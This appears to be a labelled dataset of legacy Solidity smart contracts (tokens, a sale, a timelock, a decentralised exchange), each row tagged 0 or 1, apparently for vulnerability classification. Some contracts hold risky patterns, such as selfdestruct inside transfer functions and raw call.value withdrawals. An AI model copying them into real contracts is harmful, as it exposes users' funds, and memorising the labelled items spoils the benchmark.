_transfer(address(this),0xB16e325f3458d8A6658b5f69e7986686428Ecf58,1426866000000000000000000);
_transfer(address(this),0xd1eFcC88EFBEAe11FF3F2dF5A49B24D519cdBbf2,857144000000000000000000);
_transfer(address(this),0x6517f439AD90ecAc307EC543404D998C0Ec965B6,2000000000000000000000000);
_transfer(address(this),0x87a4E93f1acCf6dcf536107d9786d3b344D2ec05,1666667000000000000000000);
_transfer(address(this),0xbDba9C3E780FB6AF27FD964e2c861b35deE0c318,3000000000000000000000000);
_transfer(address(this),0xaBeEa80693B860ae2C47F824A8fDAD402AEbE100,2500000000000000000000000);
_transfer(address(this),0xB83dB1E8E14A7A40BB62F2A8EBce5BBD07EA3F62,1666666666666660000000000);
_transfer(address(this),0x51f96736Bbc6348cbF33A224C3Cc5231A87a1e43,2000000000000000000000000);
_transfer(address(this),0x2FBE4cdb2f46dc12d86A1289323a7D0545Fe2b5e,5000000000000000000000000);
_transfer(address(this),0xF062193f4f34Ac4A13BAdd1bB8e7E4132637C1E7,3500000907170760000000000);
_transfer(address(this),0x4ed9001076B69e19b397aC719D235F4f0786D7C5,4079000000000000000000000);
_transfer(address(this),0x7A52a16f34576CBc028c1840825cDa9323DA4890,2268334000000000000000000);
_transfer(address(this),0x5AA37C6176b6E0612151BE56A8a0372C9DB7DE90,2268334000000000000000000);
_transfer(address(this),0x7518d5cB06891C62621871b1aC3bdE500BD533a0,2268334000000000000000000);
_transfer(address(this),0xA3f3f84844A67c618DE06441d2970321e70bdCe7,700000000000000000000000);
_transfer(address(this),0xBEc13832bb518629501fe7d07caAB099E85e1c50,700000000000000000000000);
_transfer(address(this),0xF6F209C6C031b1560D073d5E82b380C40cD02469,300000000000000000000000);
_transfer(address(this),0xf0586C3e0CAe135E90dDe857b5f53C8B29Ebc77c,55500000000000000000000);
_transfer(address(this),0x9b818b7B401908671CbE2bf677F7F3361653Fdb5,35000000000000000000000);
_transfer(address(this),0xd5C56952e1Aad42f20075666b123F42334969297,30000000000000000000000);
_transfer(address(this),0xB6ceCEAbfBd07ac0440972C0c0c4129249de29Da,45000000000000000000000);
_transfer(address(this),0x0eaa51bef06694e1e0C99f413dcd7d3beE110Fb9,40000000000000000000000);
lockedUntil[0xD384C81eFEF96CB32Ae8Ad52cC85630eABC75E26]=1554508800;
lockedUntil[0xE792690B3783c08823049b1DCe5CC916001e92Cd]=1570320000;
lockedUntil[0x08a62f6DFd9f4334478B5CC038d0584fEACe9ac8]=1570320000;
lockedUntil[0xd987728d110e0A270dc4B6E75e558E0F29E0c2c7]=1570320000;
lockedUntil[0x25A8178d085a600Eb535e51D3bCD4Fea773E81e4]=1554508800;
lockedUntil[0xE9cB39c9AfCf84C73FB3e8E8a3353d0bfD2Baa0F]=1554508800;
lockedUntil[0x1d4Aa2b232Af68599864efE1C0Fbf4F4b5E6112c]=1554508800;
lockedUntil[0xCbEde66A699C3a5efF63c5E234D7b8149f353c4E]=1570320000;
lockedUntil[0xf2944172b735609b2EcEeadb00179AC88f6aA431]=1554508800;
lockedUntil[0x2FBE4cdb2f46dc12d86A1289323a7D0545Fe2b5e]=1554508800;
lockedUntil[0x7A52a16f34576CBc028c1840825cDa9323DA4890]=1601942400;
lockedUntil[0x5AA37C6176b6E0612151BE56A8a0372C9DB7DE90]=1601942400;
lockedUntil[0x7518d5cB06891C62621871b1aC3bdE500BD533a0]=1601942400;
lockedUntil[0xA3f3f84844A67c618DE06441d2970321e70bdCe7]=1554508800;
lockedUntil[0xBEc13832bb518629501fe7d07caAB099E85e1c50]=1554508800;
lockedUntil[0xF6F209C6C031b1560D073d5E82b380C40cD02469]=1570320000;
lockedUntil[0xf0586C3e0CAe135E90dDe857b5f53C8B29Ebc77c]=1570320000;
lockedUntil[0x9b818b7B401908671CbE2bf677F7F3361653Fdb5]=1554508800;
lockedUntil[0xd5C56952e1Aad42f20075666b123F42334969297]=1554508800;
lockedUntil[0xB6ceCEAbfBd07ac0440972C0c0c4129249de29Da]=1554508800;
lockedUntil[0x0eaa51bef06694e1e0C99f413dcd7d3beE110Fb9]=1554508800;
}
function _transfer(address _from, address _to, uint _value) internal {
assert( lockedUntil[_from] == 0 || (lockedUntil[_from] != 0 && block.timestamp >= lockedUntil[_from]) );
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
} | 0 | 993 |
contract Dalton {
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function Dalton() {
initialSupply = 10000000000000000;
name ="Dalton";
decimals = 8;
symbol = "DLTC";
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
}
function () {
throw;
}
} | 1 | 4,288 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract YumeriumManager {
function getYumerium(address sender) external payable returns (uint256);
}
contract Sale {
uint public saleEnd1 = 1535846400 + 1 days;
uint public saleEnd2 = saleEnd1 + 1 days;
uint public saleEnd3 = saleEnd2 + 1 days;
uint public saleEnd4 = 1539129600;
uint256 public minEthValue = 10 ** 15;
using SafeMath for uint256;
uint256 public maxSale;
uint256 public totalSaled;
mapping(uint256 => mapping(address => uint256)) public ticketsEarned;
mapping(uint256 => uint256) public totalTickets;
mapping(uint256 => uint256) public eachDaySold;
uint256 public currentDay;
mapping(uint256 => address[]) public eventSaleParticipants;
YumeriumManager public manager;
address public creator;
event Contribution(address from, uint256 amount);
constructor(address _manager_address) public {
maxSale = 316906850 * 10 ** 8;
manager = YumeriumManager(_manager_address);
creator = msg.sender;
currentDay = 1;
}
function () external payable {
buy();
}
function contribute() external payable {
buy();
}
function getNumParticipants(uint256 whichDay) public view returns (uint256) {
return eventSaleParticipants[whichDay].length;
}
function buy() internal {
require(msg.value>=minEthValue);
require(now < saleEnd4);
uint256 amount = manager.getYumerium.value(msg.value)(msg.sender);
uint256 total = totalSaled.add(amount);
require(total<=maxSale);
totalSaled = total;
if (currentDay > 0) {
eachDaySold[currentDay] = eachDaySold[currentDay].add(msg.value);
uint256 tickets = msg.value.div(10 ** 17);
if (ticketsEarned[currentDay][msg.sender] == 0) {
eventSaleParticipants[currentDay].push(msg.sender);
}
ticketsEarned[currentDay][msg.sender] = ticketsEarned[currentDay][msg.sender].add(tickets);
totalTickets[currentDay] = totalTickets[currentDay].add(tickets);
if (now >= saleEnd3)
{
currentDay = 0;
}
else if (now >= saleEnd2)
{
currentDay = 3;
}
else if (now >= saleEnd1)
{
currentDay = 2;
}
}
emit Contribution(msg.sender, amount);
}
function changeManagerAddress(address _manager_address) external {
require(msg.sender==creator, "You are not a creator!");
manager = YumeriumManager(_manager_address);
}
} | 1 | 2,689 |
pragma solidity ^0.4.8;
contract SafeMath {
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ALBtoken is SafeMath{
uint256 public vigencia;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
uint256[] public TokenMineSupply;
uint256 public _MineId;
uint256 totalSupplyFloat;
uint256 oldValue;
uint256 subValue;
uint256 oldTotalSupply;
uint256 TokensToModify;
bool firstTime;
struct Minas {
uint256 id;
string name;
uint tokensupply;
bool active;
}
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping(uint256=>Minas) public participatingMines;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event AddToken(address indexed from, uint256 value);
event MineCreated (uint256 MineId, string MineName, uint MineSupply);
event MineUpdated (uint256 MineId, string MineName, uint MineSupply, bool Estate);
function ALBtoken(){
totalSupply = 0;
name = "Albarit";
symbol = "ALB";
decimals = 3;
balanceOf[msg.sender] = totalSupply;
owner = msg.sender;
vigencia =2178165600;
firstTime = false;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transfer(address _to, uint256 _value) {
if(totalSupply == 0)
{
selfdestruct(owner);
}
if(block.timestamp >= vigencia)
{
throw;
}
if (_to == 0x0) throw;
if (_value <= 0) throw;
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) returns (bool success) {
if(totalSupply == 0)
{
selfdestruct(owner);
}
if(block.timestamp >= vigencia)
{
throw;
}
if (_value <= 0) throw;
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if(totalSupply == 0)
{
selfdestruct(owner);
}
if(block.timestamp >= vigencia)
{
throw;
}
if (_to == 0x0) throw;
if (_value <= 0) throw;
if (balanceOf[_from] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if (_value > allowance[_from][msg.sender]) throw;
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFromRoot(address _from, address _to, uint256 _value) onlyOwner returns (bool success) {
if(totalSupply == 0)
{
selfdestruct(owner);
}
if(block.timestamp >= vigencia)
{
throw;
}
if (_to == 0x0) throw;
if (_value <= 0) throw;
if (balanceOf[_from] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
function addToken(uint256 _value) onlyOwner returns (bool success) {
if(totalSupply == 0)
{
selfdestruct(owner);
}
if(block.timestamp >= vigencia)
{
throw;
}
emit AddToken(msg.sender, _value);
balanceOf[owner]=SafeMath.safeAdd(balanceOf[owner], _value);
return true;
}
function burn(uint256 _value) onlyOwner returns (bool success) {
if(totalSupply == 0)
{
selfdestruct(owner);
}
if(block.timestamp >= vigencia)
{
throw;
}
if (balanceOf[msg.sender] < _value) throw;
if (_value <= 0) throw;
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
emit Burn(msg.sender, _value);
return true;
}
function withdrawEther(uint256 amount) onlyOwner{
if(totalSupply == 0)
{
selfdestruct(owner);
}
if(block.timestamp >= vigencia)
{
throw;
}
if(msg.sender != owner)throw;
owner.transfer(amount);
}
function() payable {
}
function RegisterMine(string _name, uint _tokensupply) onlyOwner
{
if (firstTime == false)
{
firstTime = true;
}
else
{
if(totalSupply == 0)
{
selfdestruct(owner);
}
}
if(block.timestamp >= vigencia)
{
throw;
}
participatingMines[_MineId] = Minas ({
id: _MineId,
name: _name,
tokensupply: _tokensupply,
active: true
});
TokenMineSupply.push(_tokensupply);
totalSupplyFloat = 0;
for (uint8 i = 0; i < TokenMineSupply.length; i++)
{
totalSupplyFloat = safeAdd(TokenMineSupply[i], totalSupplyFloat);
}
totalSupply = totalSupplyFloat;
addToken(_tokensupply);
emit MineCreated (_MineId, _name, _tokensupply);
_MineId = safeAdd(_MineId, 1);
}
function ModifyMine(uint256 _Id, bool _state, string _name, uint _tokensupply) onlyOwner
{
if(totalSupply == 0)
{
selfdestruct(owner);
}
if(block.timestamp >= vigencia)
{
throw;
}
oldValue = 0;
subValue = 0;
oldTotalSupply = totalSupply;
TokensToModify = 0;
participatingMines[_Id].active = _state;
participatingMines[_Id].name = _name;
participatingMines[_Id].tokensupply = _tokensupply;
oldValue = TokenMineSupply[_Id];
if (_tokensupply > oldValue) {
TokenMineSupply[_Id] = _tokensupply;
} else {
subValue = safeSub(oldValue, _tokensupply);
TokenMineSupply[_Id]=safeSub(TokenMineSupply[_Id], subValue);
}
totalSupplyFloat = 0;
for (uint8 i = 0; i < TokenMineSupply.length; i++)
{
totalSupplyFloat = safeAdd(TokenMineSupply[i], totalSupplyFloat);
}
emit MineUpdated(_Id, _name, _tokensupply, _state);
totalSupply = totalSupplyFloat;
if (totalSupply > oldTotalSupply) {
TokensToModify = safeSub(totalSupply, oldTotalSupply);
addToken(TokensToModify);
}
if (totalSupply < oldTotalSupply) {
TokensToModify = safeSub(oldTotalSupply, totalSupply);
burn(TokensToModify);
}
}
function getTokenByMineID() external view returns (uint256[]) {
return TokenMineSupply;
}
function ModifyVigencia(uint256 _vigencia) onlyOwner
{
if(totalSupply == 0)
{
selfdestruct(owner);
}
vigencia = _vigencia;
}
} | 0 | 585 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock is Claimable {
using SafeERC20 for ERC20Basic;
using SafeMath for uint256;
ERC20Basic public token;
uint256 public tokenBalance;
mapping (address => uint256) public beneficiaryMap;
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, uint256 _releaseTime) public {
require(_releaseTime > now);
token = _token;
releaseTime = _releaseTime;
}
function isAvailable() public view returns (bool){
if(now >= releaseTime){
return true;
} else {
return false;
}
}
function depositTokens(address _beneficiary, uint256 _amount)
public
onlyOwner
{
require(tokenBalance.add(_amount) == token.balanceOf(this));
tokenBalance = tokenBalance.add(_amount);
beneficiaryMap[_beneficiary] = beneficiaryMap[_beneficiary].add(_amount);
}
function release() public {
require(now >= releaseTime);
uint256 amount = beneficiaryMap[msg.sender];
beneficiaryMap[msg.sender] = 0;
require(amount > 0 && token.balanceOf(this) > 0);
token.safeTransfer(msg.sender, amount);
}
} | 1 | 2,856 |
pragma solidity ^0.4.19;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
function ReserveToken() {
minter = msg.sender;
}
function create(address account, uint amount) {
if (msg.sender != minter) throw;
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) {
if (msg.sender != minter) throw;
if (balances[account] < amount) throw;
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract DecentrEx is SafeMath {
address public admin;
address public feeAccount;
uint public feeMake;
uint public feeTake;
mapping (address => mapping (address => uint)) public tokens;
mapping (address => mapping (bytes32 => bool)) public orders;
mapping (address => mapping (bytes32 => uint)) public orderFills;
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
function DecentrEx(address admin_, address feeAccount_, uint feeMake_, uint feeTake_) {
admin = admin_;
feeAccount = feeAccount_;
feeMake = feeMake_;
feeTake = feeTake_;
}
function() {
throw;
}
function changeAdmin(address admin_) {
if (msg.sender != admin) throw;
admin = admin_;
}
function changeFeeAccount(address feeAccount_) {
if (msg.sender != admin) throw;
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) {
if (msg.sender != admin) throw;
if (feeMake_ > feeMake) throw;
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) {
if (msg.sender != admin) throw;
if (feeTake_ > feeTake) throw;
feeTake = feeTake_;
}
function deposit() payable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) {
if (tokens[0][msg.sender] < amount) throw;
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) throw;
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) {
if (token==0) throw;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) {
if (token==0) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) throw;
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) throw;
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
} | 1 | 2,514 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.